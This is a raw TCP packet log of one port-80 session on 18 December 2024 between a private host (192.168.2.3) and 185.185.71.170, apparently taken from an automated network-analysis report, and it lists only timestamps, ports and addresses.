Dec 18, 2024 20:56:47.306329012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.307672977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.307681084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.307758093 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.308383942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.308418989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.308458090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.309003115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.309011936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.309099913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.309618950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.309626102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.309689045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.310206890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.310220957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.310309887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.310954094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.310961962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.311069012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.311585903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.311593056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.311666012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.435950041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.436208010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.436214924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.436347008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.437016010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.437072039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.437436104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.437453032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.437505007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.438246012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.438254118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.438319921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.439132929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.439141035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.439213037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.439675093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.439699888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.439748049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.440665007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.440674067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.440759897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.441639900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.441648960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.441705942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.442619085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.442627907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.442689896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.443599939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.443614006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.443619967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.443662882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.444423914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.444431067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.444511890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.445245028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.445260048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.445305109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.446033001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.446048021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.446093082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.446984053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.446990967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.447001934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.447037935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.447798967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.447807074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.447885036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.448721886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.448729038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.448776007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.469693899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.469710112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.469821930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.470535994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.470542908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.470604897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.471399069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.471412897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.471676111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.472244978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.472253084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.472363949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.472954035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.472960949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.473128080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.473997116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.474013090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.474071026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.474787951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.474796057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.474999905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.475653887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.475661993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.475739956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.476541996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.476555109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.476561069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.476629019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.477438927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.477447033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.477521896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.478372097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.478384972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.478424072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.479341984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.479357958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.479393959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.480175972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.480189085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.480195045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.480246067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.481095076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.481103897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.481256962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.481957912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.481965065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.482028008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.482857943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.482866049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.482908964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.487346888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.487606049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.487612963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.487673044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.488153934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.488162041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.488213062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.488922119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.488987923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.489367962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.489375114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.489427090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.489936113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.490343094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.490350962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.490387917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.491089106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.491142035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.491542101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.491550922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.491658926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.492310047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.492316961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.492382050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.493619919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.493633032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.493695974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.494471073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.494479895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.494574070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.495286942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.495296001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.495372057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.496011019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.496026993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.496038914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.496110916 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.496786118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.496802092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.496835947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.497668028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.497683048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.497724056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.498620987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.498636961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.498676062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.499500990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.499596119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.500406027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.500411987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.500463963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.501283884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.502238989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.502346992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.503173113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.503182888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.503278017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.504156113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.504165888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.504225016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.504924059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.504951954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.505027056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.881356955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.882333040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.882349968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.882355928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.882515907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.883512974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.883521080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.883627892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.884589911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.884598017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.884602070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.884608030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.884686947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.885735989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.885744095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.885858059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.886848927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.886859894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.886941910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.888030052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.888039112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.888057947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.888092995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.889204979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.889220953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.889261961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.890343904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.890360117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.890490055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.891442060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.891450882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.891594887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.892474890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.892482042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.892493010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.892565966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.892595053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.893733025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.893739939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.893821955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.895010948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.895030975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.895134926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.896048069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.896068096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.896146059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.897021055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.897037983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.897048950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.897150040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.898127079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.898195982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.900953054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.900964022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.901017904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.902033091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.902041912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.902163982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.903158903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.903175116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.903239012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.904316902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.904325008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.904393911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.905569077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.905577898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.905584097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.905646086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.906900883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.906908989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.906990051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.908109903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.908118963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.908184052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.909207106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.909215927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.909312010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.910362005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.910370111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.910376072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.910427094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.911415100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.911422968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.911492109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.912444115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.912461042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.912564993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.913508892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.913523912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.913585901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.914625883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.914633989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.914715052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.915632010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.915652990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.915658951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.915740013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.916621923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.916630030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.917115927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.917764902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.917773008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.917840958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.919001102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.919011116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.919094086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.920027971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.920042992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.920048952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.920094967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.920136929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.921175003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.921190977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.921240091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.922276974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.922285080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.922332048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.923372030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.923379898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.923386097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.923439026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.924619913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.924737930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.925152063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.925159931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.925223112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.926155090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.926171064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.926228046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.927295923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.927350998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.927623987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.928514004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.928523064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.928534985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.928584099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.929589987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.929598093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.929740906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.930740118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.930747986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.930809975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.931838036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.931847095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.931931973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.932949066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.932960987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.933096886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.934098959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.934108019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.934175968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.935225010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.935234070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.935332060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.936372995 CET	80	49747	185.185.71.170	192.168.2.3
